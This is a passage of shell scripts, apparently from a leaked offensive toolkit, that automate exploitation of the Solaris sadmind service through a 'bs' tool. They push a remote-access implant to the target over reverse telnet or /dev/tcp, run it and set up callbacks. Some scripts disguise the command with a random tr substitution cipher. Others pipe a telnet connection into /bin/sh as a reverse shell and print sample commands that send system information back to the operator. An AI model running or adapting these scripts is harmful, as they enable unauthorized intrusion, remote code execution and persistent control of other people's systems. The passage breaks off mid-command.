[ ! "$ACTUALTARGET" ] && [ "$DEFTARGET" ] && ACTUALTARGET=$DEFTARGET
done
fi
if [ "$PACKRAT_SCRIPME" ] ; then
[ "$OLDCMD" ] || UUARG="-u"
EXPLOIT_SCRIPME="packrat$PACKARGS $UUARG $REMOTE_FNAME $NOSERVER $LOCAL_PORT"
note "Starting local packrat LISTENer to send noserver via port $LOCAL_PORT"
export EXPLOIT_SCRIPME
echo EXPLOIT_SCRIPME=\"$EXPLOIT_SCRIPME\" scripme -t PACKRAT -F -X \"-bg slategrey -fg white -geometry 131x55-0+0\"
EXPLOIT_SCRIPME="$EXPLOIT_SCRIPME" scripme -t PACKRAT -F -X "-bg slategrey -fg white -geometry 131x55-0+0"
fi
if [ "$CALLBACK" -a ! "$CALLBACKIP" ] ; then
note "No -l argument given for callback--using local IP from command line: $LOCAL_IP"
CALLBACKIP="$LOCAL_IP"
fi
if [ "$REDIRECT" ] ; then
# if [ "$CALLBACK" ] ; then
# note "\n\nYou will need two NOPEN windows on $CALLBACKIP\n"
# fi
# note Here are some pastables:
PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
$SETCOLOR_NORMAL
# echo "FIRST/-tunnel nopen window on $LOCAL_IP:"
# note "\ncd /current/down\n${PASTABLE}"
# note "-tunnel\n\nu ${SADMIND_PORT:3} $ACTUALTARGET\n\nr $LOCAL_PORT\n\ns\n"
# echo "" | nc -w1 -u 127.0.0.1 38787
# if [ ! "$CALLBACK" ] ; then
# notered "Hit ^C to abort or enter once NOPEN -tunnel window is ready"
# read blah
# fi
fi
if [ "$CALLBACK" ] ; then
RAT_PREARGS=" S=$CALLBACKDELAY D=\"-c${CALLBACKIP}:${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
notered "\aYou must establish a NOPEN listener on $CALLBACKIP:$NOPENPORT\n\n"
PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP"`
ifconfig -a | grep $CALLBACKIP && ITSLOCAL=yes
if [ "$ITSLOCAL" ] ; then
echo "remote nopen window on $CALLBACKIP AND local listener:"
note "\ncd /current/down/\n${PASTABLE}\n/current/bin/noclient -l $NOPENPORT\n\n"
else
echo "remote nopen window on $CALLBACKIP:"
note "\ncd /current/down\n${PASTABLE}\n-nrtun $NOPENPORT\n\n"
# PASTABLE=`grep -v "^#" /current/down/didthis 2>/dev/null | grep "noclient.*$CALLBACKIP" | sed "s/noclient/noclient -c \"-nrtun $NOPENPORT\"/"`
# EXPLOIT_SCRIPME="${PASTABLE}" scripme -t NOCLIENT -F -X " -geometry 131x55"
fi
$SETCOLOR_FAILURE
echo -en "Hit ^C to abort or enter once NOPEN callback window is ready"
$SETCOLOR_NORMAL
read blah
else # not redirecting
POSTRUN="noclient -l $NOPENPORT"
fi
else # not callback
RAT_PREARGS=" D=\"-l${NOPENPORT}\""
if [ "$REDIRECT" ] ; then
POSTRUN2="-nstun $ACTUALTARGET ${NOPENPORT}"
else
POSTRUN2="noclient ${1}:${NOPENPORT}"
fi
fi
if [ ! "$CMDOVERRIDE" ] ; then
if [ ! "$NOZIP" ] ; then
UNCOMPRESS="&& uncompress -f ${REMOTE_FNAME}.Z"
[ "$OLDCMD" ] || UNCOMPRESS=".Z&&uncompress -f ${REMOTE_FNAME}.Z"
fi
# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1${UNCOMPRESS}&& chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&/bin/ksh -c \"/bin/cat < /dev/tcp/${LOCAL_IP}/${LOCAL_PORT} > ${REMOTE_FNAME}${UNCOMPRESS}&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}\""
if [ "$OLDCMD" ] ; then
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1 ${UNCOMPRESS}&&PATH=.${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}"
fi
else
CMD=""
$SETCOLOR_NOTE
[ ! "$REMOTE_DIR" = "/tmp" ] && TMP=" rm -rf ${REMOTE_DIR} ; ls -arlt /tmp ;"
[ ! "$TMP" ] && TMP=" rm -rf ${REMOTE_DIR}/$REMOTE_FNAME ;"
echo -e "Maybe something like these (Be sure you take care of this end, i.e., the netcats):\n"
notered "LOCALLY:"
echo -e " nc -l -p 443"
echo ""
notered "For the REMOTE end:"
echo -e " ksh -c \"( w ; uname -a ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ( w ; uname -a ) | telnet $LOCAL_IP 443"
echo -e " ksh -c \"($TMP ls -alrt ${REMOTE_DIR} ) > /dev/tcp/$LOCAL_IP/443\""
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP 443"
echo -e " ($TMP ls -alrt ${REMOTE_DIR} ) | telnet $LOCAL_IP `mkrandom -n 2>/dev/null`"
echo ""
while [ ! "$CMD" ] ; do
notered "Enter Commands to run on target (see above examples), separated by \";\".\n"
read CMD
done
note "\nCommands being run: $CMD\n"
fi
# this is unused for now--old bs.tn.gr way
OLDOLDCMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir -p ${REMOTE_DIR}
cd ${REMOTE_DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${REMOTE_FNAME}.Z
chmod 0700 ${REMOTE_DIR}/${REMOTE_FNAME}
PATH=${REMOTE_DIR}${RAT_PREARGS} ${DOTSLASH}${REMOTE_FNAME}${RAT_POSTARGS}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}"
if [ ! "$NO_TR" ] ; then
# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE" ] ; then
if [ -x "../bin/permute" ] ; then
export PATH=../bin:$PATH
else
usage exit "FATAL ERROR: No \"permute\" in path."
fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.
MUNGED=\"$MUNGED\"
UNMUNGED=\"$UNMUNGED\"
"
if [ "$SET1" = "$SET2" ] ; then
echo "SET1=\"$SET1\""
usage exit "FATAL ERROR. SET1 is the same as SET2."
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
echo "$UNMUNGED" > /tmp/UNMUNGED.$$
echo "$CMD" > /tmp/CMD.$$
cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
usage "FATAL ERROR. UNMUNGE TEST FAILED"
else
echo -e "PASSSED TEST: \$CMD eq \$UNMUNGED.\n"
fi
$SETCOLOR_NOTE
echo -e "Running:\n
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"\n"
else
notered "\a\nNOT MUNGING--CMD going over in the clear.\n\n"
echo -e "Running:\n
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"$CMD\"\n"
fi
if [ "$POSTRUN" ] ; then
echo -e "AND THEN the following will start automatically:\n\n$POSTRUN$COLOR_NORMAL\n"
fi
$SETCOLOR_NORMAL
notered "Hit ^C to abort or enter to continue"
read blah
note "Sending tunnel commands to 127.0.0.1:$TUNNELPORT"
if [ $ATTEMPT -eq 1 ] ; then
# tunnelcmd c 1 2
tunnelcmd u ${SADMIND_PORT:3} $ACTUALTARGET
else
tunnelcmd c 2
fi
tunnelcmd r $LOCAL_PORT
tunnelcmd s
while [ 1 ] ; do
rm -f /tmp/bsoutput.$$
if [ ! "$NO_TR" ] ; then
note "\n\nrunning this locally (using tr remotely):\n\nbs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh" 2>&1 | tee /tmp/bsoutput.$$
else
note "\n\nrunning this locally:\n\nbs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"$CMD\" 2>&1 | tee /tmp/bsoutput.$$\n\n"
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c "$CMD" 2>&1 | tee /tmp/bsoutput.$$
fi
HOSTERR=`grep "Security exception on host" /tmp/bsoutput.$$ | sed "s/.*Security exception on host //" | sed "s/. USER ACCESS DENIED.*//"`
rm -f /tmp/bsoutput.$$
[ "$HOSTERR" ] || break
$SETCOLOR_FAILURE
echo -e "\n\nERROR OUTPUT FROM bs!!\n\n"
if [ "-h $HOSTERR" = "$REMOTE_HOST" ] ; then
echo -e "ERROR! Correct host but need different domain ($REMOTE_DOMAIN failed)."
$SETCOLOR_NORMAL
echo -en "Enter new domain or ^C to abort (hit enter to try no domain at all): "
read ans
REMOTE_DOMAIN=""
[ "$ans" ] && REMOTE_DOMAIN="-d ${ans}"
echo -e "\n\nTrying domain \"$REMOTE_DOMAIN\"\n\n"
else
echo -e "ERROR! Wrong host. They suggest \"$HOSTERR\", so try that."
$SETCOLOR_NORMAL
echo -en "Enter new host or ^C to abort: [$HOSTERR] "
read ans
[ "$ans" ] || ans="$HOSTERR"
REMOTE_HOST="-h ${ans}"
echo -e "\n\nTrying host \"$REMOTE_HOST\"\n\n"
fi
done
if [ "$POSTRUN" ] ; then
notered "\n\n\aNOTE: Callback will not occur for $CALLBACKDELAY seconds or more"
notered " and MAYBE NOT until upload completes AND you ^C the netcat upload.\n\n"
notered "\nNow running nopen listener with: $POSTRUN\n"
exec $POSTRUN
fi
# if [ "$REDIRECT" ] ; then
# note "\n\nFor your -tunnel window once all is done:\n\nc 1 2\n\nq\n\n"
# fi
if [ "$POSTRUN2" ] ; then
note "\nOnce you see all is done, you may want to proceed with:\n\n$POSTRUN2\n\n"
notered NOTE: Listener may not be active until you ^C the netcat upload.
fi
}
# end doit procedure
if [ "$ARCH" ] ; then
NOSERVER=`ls -1 /current/up/morerats/noserver*solaris-2.6 2>/dev/null | grep -i ${ARCH} | tail -1`
fi
[ "$NOSERVER" ] || NOSERVER=/current/up/noserver
ATTEMPT=1
while [ 1 ] ; do
if [ "$ARGS" ] ; then
OPTIND=1
doit $ARGS
else
ARGS="${*}"
doit ${*}
fi
note "\n\n$PROG attempt number $ATTEMPT is complete."
if [ "$CALLBACK" ] ; then
$SETCOLOR_FAILURE
echo -e "\nNOTE: Callback will not happen until $CALLBACKDELAY seconds or more have passed.\n"
while [ $CALLBACKDELAY -ge 0 ] ; do
echo -en "\rCounting down: $CALLBACKDELAY "
CALLBACKDELAY=`expr $CALLBACKDELAY - 1`
sleep 1
done
fi
note "\nIf it worked, hit return to exit.\n"
echo -ne "${COLOR_FAILURE}Do you want to try again? [N] $COLOR_NORMAL"
read ans
[ ! "$ans" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && break
# echo -e "$usagetext"
notered "\nIf \"ksh\" method might have failed, add the -t argument to try the old telnet way."
notered "If \"tr\" method might have failed, add the -T argument to disable munging."
notered "If still failing after trying -t, -T and -tT, try bs.tn.gr_USE_WHEN_bs.auto_FAILS."
note "\nIf desired, use the -C command to override what commands are executed on target."
note "\nYour previous arguments were:"
echo "$ARGS"
notered "\n\nJust hit return to try the same arguments again, or input a new and complete argument\nstring to use (e.g., add -T if you think \"tr\" failed)."
read ans
if [ "$ans" ] ; then
ARGS="${ans}"
fi
ATTEMPT=`expr $ATTEMPT + 1`
done
note "Closing down -tunnel ports"
tunnelcmd c 1 2
tunnelcmd q
ps -efwwww | grep PACKRAT | grep -v grep && \
notered "\n\nYou need to close packrat window before this one can exit.\n\n"

68
Linux/bin/bs.ratload Executable file
View file

@ -0,0 +1,68 @@
#!/bin/sh
#
# Use BS with RATLOAD
#
usage()
{
echo ""
echo "This script requires RATLOAD"
echo "Usage: ${0} remoteIP remoteHost [remoteDomain] \\"
echo " sadmindPort localIP ratloadPort"
exit 1
}
REMOTE_IP="-i ${1}"
REMOTE_HOST="-h ${2}"
case ${#} in
5)
SADMIND_PORT="-p ${3}"
LOCAL_IP="${4}"
LOCAL_PORT="${5}"
;;
6)
REMOTE_DOMAIN="-d ${3}"
SADMIND_PORT="-p ${4}"
LOCAL_IP="${5}"
LOCAL_PORT="${6}"
;;
*)
usage
;;
esac
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote hostname" && usage
[ -z "$SADMIND_PORT" ] && echo "Error: missing remote hostname" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
[ -z "$LOCAL_PORT" ] && echo "Error: missing local port" && usage
echo "--> my IP is $LOCAL_IP"
echo "--> port to telnet to is $LOCAL_PORT"
echo "--> exploiting sadmind on \"$SADMIND_PORT\""
echo "--> target hostname \"$REMOTE_HOST\""
[ ! -z "$REMOTE_DOMAIN" ] && echo "--> using domain \"$REMOTE_DOMAIN\""
echo "
about to run:
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | /bin/sh\"
"
PLATFORM=`uname`
if [ "$PLATFORM" = "Linux" ]; then
MINUSN=-n
else
MINUSN=""
fi
echo $MINUSN "Hit enter to proceed, ^C to not: "
read junk
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c "/bin/telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | /bin/sh"

View file

@ -0,0 +1,111 @@
#!/bin/sh
#
# Use bs to upload a program via reverse telnet and run it
#
echo "CommandLine: ${0} ${*}"
echo ""
# Some default values
SCRIPT="/tmp/...."
DIR="/tmp/..."
# Show usage and exit
usage() {
echo ""
echo "Before running this script, you first need to run the following:"
echo " nc -l -p localPort < file2Xfer&Run.uu"
echo "where file2Xfer&Run.uu is a compressed, uuencoded file."
echo ""
echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]"
echo ""
echo "New usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -h <remoteHost> (required)"
echo " -a (does not work) Use alt rpcbind port"
echo " -s <sndPort> hardwired 111"
echo " -r <rcvPort> hardwired 111"
echo " -d <remoteDomain>"
echo " -p <sadmindPort> def= query rpcbind"
echo " -l <localIP> (required)"
echo " -n <localPort> (no default)"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
echo " -G "grinch args" deprecated"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
# New style options
while getopts i:h:as:r:d:p:l:n:f:D:S:G: op; do
case $op in
i) REMOTE_IP="-i $OPTARG";;
h) REMOTE_HOST="-h $OPTARG";;
a) altRpcbind="-a";;
s) sndPort="-s $OPTARG";;
r) rcvPort="-r $OPTARG";;
d) remDomain="-d $OPTARG";;
p) sadmindPort="-p $OPTARG";;
l) LOCAL_IP="$OPTARG";;
n) LOCAL_PORT="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
# G) GRINCHARGS="$OPTARG";;
esac
done
cmdFlag="-c"
extraOpts="$altRpcbind $remDomain $sadmindPort"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
EXTRA="${*}"
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 $extraOpts ... $cmdFlag commands"
echo "--> my IP is $LOCAL_IP"
echo "--> port to telnet to is $LOCAL_PORT"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir ${DIR}"
echo "--> Here's command being sent:"
CMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir -p ${DIR}
cd ${DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${RUN_FILE}.Z
chmod 0700 ${DIR}/${RUN_FILE}
PATH=${DIR} ${RUN_FILE}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}
"
echo "$CMD"
PLATFORM=`uname`
if [ "$PLATFORM" = "Linux" ]; then
MINUSN=-n
else
MINUSN=""
fi
echo $MINUSN "Hit enter to proceed, ^C to not: "
read junk
#exit 0
bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 \
$cmdFlag "$CMD" $extraOpts

114
Linux/bin/bs.tn.nopen Executable file
View file

@ -0,0 +1,114 @@
#!/bin/sh
#
# Use bs to upload a program via reverse telnet and run it
#
# Some default values
SCRIPT="/tmp/...."
DIR="/tmp/..."
# Show usage and exit
usage() {
echo ""
echo "Before running this script, you first need to run the following:"
echo " nc -l -p localPort < file2Xfer&Run.uu"
echo "where file2Xfer&Run.uu is a compressed, uuencoded file."
echo ""
echo "Usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -h <remoteHost> (required)"
echo " -a (does not work) Use alt rpcbind port"
echo " -s <sndPort> hardwired 111"
echo " -r <rcvPort> hardwired 111"
echo " -d <remoteDomain>"
echo " -p <sadmindPort> def= query rpcbind"
echo " -l <localIP> (required)"
echo " -n <localPort> (required)"
echo " -f <file2Xfer&Run> (required)"
echo " -P <noserver port> (default up to noserver)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
echo " -G <grinch args> deprecated"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
# New style options
while getopts i:h:as:r:d:p:l:n:f:P:D:S:G: op; do
case $op in
i) REMOTE_IP="-i $OPTARG";;
h) REMOTE_HOST="-h $OPTARG";;
a) altRpcbind="-a";;
s) sndPort="-s $OPTARG";;
r) rcvPort="-r $OPTARG";;
d) remDomain="-d $OPTARG";;
p) sadmindPort="-p $OPTARG";;
l) LOCAL_IP="$OPTARG";;
n) LOCAL_PORT="$OPTARG";;
f) RUN_FILE="$OPTARG";;
P) NOSERVER_PORT="D=\\\"-l $OPTARG\\\"";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
# G) GRINCHARGS="$OPTARG";;
esac
done
cmdFlag="-c"
extraOpts="$altRpcbind $remDomain $sadmindPort"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
[ -z "$LOCAL_PORT" ] && echo "Error: missing local PORT" && usage
EXTRA="${*}"
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 $extraOpts ... $cmdFlag commands"
echo "--> my IP is $LOCAL_IP"
echo "--> port to telnet to is $LOCAL_PORT"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir ${DIR}"
if [ "$NOSERVER_PORT" ]; then
echo "--> using NON-DEFAULT nopen port env var ${NOSERVER_PORT}"
fi
echo "--> Here are commands being sent:"
CMD="echo \"
PATH=/usr/openwin/bin:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/gnu/bin:/usr/ucb:/usr/X11R6/bin
export PATH
mkdir ${DIR}
cd ${DIR}
(echo 'open ${LOCAL_IP} ${LOCAL_PORT}';/bin/cat)| /bin/telnet | /bin/cat| /usr/bin/uudecode > /dev/null 2>&1
uncompress -f ${RUN_FILE}.Z
chmod 0700 ${DIR}/${RUN_FILE}
PATH=${DIR} ${NOSERVER_PORT} ${RUN_FILE}
rm ${SCRIPT}
\" > ${SCRIPT}
/bin/sh ${SCRIPT}
"
echo "$CMD"
PLATFORM=`uname`
if [ "$PLATFORM" = "Linux" ]; then
MINUSN=-n
else
MINUSN=""
fi
echo $MINUSN "Hit enter to proceed, ^C to not: "
read junk
#exit 0
bs ${REMOTE_IP} ${REMOTE_HOST} -s 111 -r 111 \
$cmdFlag "$CMD" $extraOpts

145
Linux/bin/bs.tr_TRY_SECOND Executable file
View file

@ -0,0 +1,145 @@
#!/bin/sh
PROG=`basename ${0}`
ERRSLEEP=3
usage()
{
echo "
Usage:
[E=ratpreargs] [A=ratpostargs] $PROG remoteIP remoteHost \\
[remoteDomain] \\
sadmindPort remoteDir remoteName localIP localPort
ratpreargs : the string put on remote command line right after PATH=. and
before remoteName (e.g. E='D=\"-c LOCALIP port\"' or
E='D=\"-l listenport\"')
ratpostargs : the string put on remote command line after running remoteName
Command sent to bs will be munged from:
CMD=\"mkdir -p \${REMOTE_DIR} && cd \${REMOTE_DIR} && telnet \${LOCAL_IP} \${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f \${REMOTE_FNAME}.Z && chmod 755 \${REMOTE_FNAME} && PATH=.\${RAT_PREARGS} \${REMOTE_FNAME}\${RAT_POSTARGS}\"
"
exit 1
}
echo "
CommandLine: ${0} ${*}"
while getopts h op; do
case $op in
E) RAT_PREARGS=" $OPTARG";;
A) RAT_POSTARGS=" $OPTARG";;
h) usage
esac
done
[ "$E" ] && RAT_PREARGS=" $E" && echo "RAT_PREARGS=$RAT_PREARGS"
[ "$A" ] && RAT_POSTARGS=" $A" && echo "RAT_POSTARGS=$RAT_POSTARGS"
REMOTE_IP="-i ${1}"
REMOTE_HOST="-h ${2}"
case ${#} in
7)
SADMIND_PORT="-p ${3}"
REMOTE_DIR="${4}"
REMOTE_FNAME="${5}"
LOCAL_IP="${6}"
LOCAL_PORT="${7}"
;;
8)
REMOTE_DOMAIN="-d ${3}"
SADMIND_PORT="-p ${4}"
REMOTE_DIR="${5}"
REMOTE_FNAME="${6}"
LOCAL_IP="${7}"
LOCAL_PORT="${8}"
;;
*)
echo "
Wrong number of arguments: ${#} (should be 7 or 8)."
sleep $ERRSLEEP
usage
;;
esac
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote hostname" && usage
[ -z "$SADMIND_PORT" ] && echo "Error: missing remote hostname" && usage
[ -z "$REMOTE_DIR" ] && echo "Error: missing remote directory" && usage
[ -z "$REMOTE_FNAME" ] && echo "Error: missing remote filename" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
[ -z "$LOCAL_PORT" ] && echo "Error: missing local port" && usage
if [ "`echo $REMOTE_DIR | cut -c1`" != "/" ]; then
echo "
REMOTEDIR ($REMOTE_DIR) must start with \"/\". Check # of args and order."
sleep $ERRSLEEP
usage
fi
# this one has more spaces...don't use unless other fails...
CMD="mkdir -p ${REMOTE_DIR} && cd ${REMOTE_DIR} && telnet ${LOCAL_IP} ${LOCAL_PORT} < /dev/console | uudecode > /dev/null 2>&1 && uncompress -f ${REMOTE_FNAME}.Z && chmod 755 ${REMOTE_FNAME} && PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}"
CMD="mkdir -p ${REMOTE_DIR}&&cd ${REMOTE_DIR}&&telnet ${LOCAL_IP} ${LOCAL_PORT}</dev/console|uudecode>/dev/null 2>&1&&uncompress -f ${REMOTE_FNAME}.Z&&chmod 755 ${REMOTE_FNAME}&&PATH=.${RAT_PREARGS} ${REMOTE_FNAME}${RAT_POSTARGS}"
# tr sets
#SET1="'0-}'"
#SET2="'1-~'"
ALPHA="ABCDEFGHIJKLMNOPQRSTUVWXYZ./abcdefghijklmnopqrstuvwxyz0123456789 <>&"
THERE=`which permute 2>/dev/null`
if [ ! "$THERE" ] ; then
if [ -x "../bin/permute" ] ; then
export PATH=../bin:$PATH
else
echo "FATAL ERROR: No \"permute\" in path."
exit
fi
fi
SET1=`permute "$ALPHA"`
SET2=`permute "$SET1"`
MUNGED="`echo "${CMD}" | tr "${SET1}" "${SET2}"`"
UNMUNGED="`echo \"${MUNGED}\" | tr "${SET2}" "${SET1}"`"
echo "
munging via:
tr \"$SET1\" \"$SET2\"
and vice versa.
MUNGED=\"$MUNGED\"
UNMUNGED=\"$UNMUNGED\"
"
if [ "$SET1" = "$SET2" ] ; then
echo "FATAL ERROR. SET1 is the same as SET2."
echo "SET1=\"$SET1\""
exit
fi
if [ ! "$UNMUNGED" = "$CMD" ] ; then
echo "FATAL ERROR. UNMUNGE TEST FAILED"
echo "$UNMUNGED" > /tmp/UNMUNGED.$$
echo "$CMD" > /tmp/CMD.$$
cmp /tmp/UNMUNGED.$$ /tmp/CMD.$$
wc /tmp/UNMUNGED.$$ /tmp/CMD.$$
exit
else
echo "PASSSED TEST: \$CMD eq \$UNMUNGED.
"
fi
echo "Running:
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c \"echo '${MUNGED}'|tr '${SET2}' '${SET1}'|sh\"
"
#[ "$PAUSE" ] && echo "Hit ^C to abort or enter to continue" && read blah
echo "Hit ^C to abort or enter to continue" && read blah
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_DOMAIN} ${SADMIND_PORT} \
-c "echo '${MUNGED}' | tr '${SET2}' '${SET1}'|sh"

109
Linux/bin/bs_gr Executable file
View file

@ -0,0 +1,109 @@
#!/bin/sh
#
# Use bs to upload a program via reverse FTP and run it
#
# Some default values
SCRIPT="/tmp/...."
DIR="/tmp/..."
LOCAL_USER="test"
LOCAL_PASSWD="test"
# Show usage and exit
usage() {
echo "Old Usage: ${0} rem_ip rem_host loc_ip loc_user loc_passwd file [args...]"
echo ""
echo "New usage: ${0} [options] -- [options to <file2Xfer&Run>]"
echo " -i <remoteIP> (required)"
echo " -h <remoteHost> (required)"
echo " -a Use alt rpcbind port"
echo " -s <sndPort> def= bs default"
echo " -r <rcvPort> def= bs default"
echo " -d <remoteDomain>"
echo " -p <sadmindPort> def= query rpcbind"
echo " -l <localIP> (required)"
echo " -u <localUser> (def= test)"
echo " -P <localPassword> (def= test)"
echo " -f <file2Xfer&Run> (required)"
echo " -D <remoteDir> def= $DIR"
echo " -S <remoteScript> def= $SCRIPT"
exit 1
}
# There must be at least one argument
if [ ${#} -eq 0 ]; then
usage
fi
#
# Process args
#
if [ "`echo $1 | cut -c1`" != "-" ]; then
# Must be old style command line
[ $# -lt 6 ] && usage
REMOTE_IP=${1}
REMOTE_HOST=${2}
LOCAL_IP=${3}
LOCAL_USER=${4}
LOCAL_PASSWD=${5}
RUN_FILE=${6}
shift; shift; shift; shift; shift; shift
REMOTE_PORTS="23 23"
else
# New style options
while getopts i:h:as:r:d:p:l:u:P:f:D:S: op; do
case $op in
i) REMOTE_IP="-i $OPTARG";;
h) REMOTE_HOST="-h $OPTARG";;
a) altRpcbind="-a";;
s) sndPort="-s $OPTARG";;
r) rcvPort="-r $OPTARG";;
d) remDomain="-d $OPTARG";;
p) sadmindPort="-p $OPTARG";;
l) LOCAL_IP="$OPTARG";;
u) LOCAL_USER="$OPTARG";;
P) LOCAL_PASSWD="$OPTARG";;
f) RUN_FILE="$OPTARG";;
D) DIR="$OPTARG";;
S) SCRIPT="$OPTARG";;
esac
done
cmdFlag="-c"
extraOpts="$altRpcbind $sndPort $rcvPort $remDomain $sadmindPort"
shift `expr $OPTIND - 1`
# Check for required args
[ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
[ -z "$REMOTE_HOST" ] && echo "Error: missing remote host" && usage
[ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
fi
EXTRA="${*}"
echo "running: bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts ..."
echo "--> my IP is $LOCAL_IP"
echo "--> local user/pass is $LOCAL_USER/$LOCAL_PASSWD"
echo "--> xfering and running $RUN_FILE"
echo "--> using tmp file $SCRIPT"
echo "--> using tmp dir $DIR"
#exit 0
bs ${REMOTE_IP} ${REMOTE_HOST} ${REMOTE_PORTS} $extraOpts \
$cmdFlag "/bin/echo \"/bin/mkdir ${DIR}
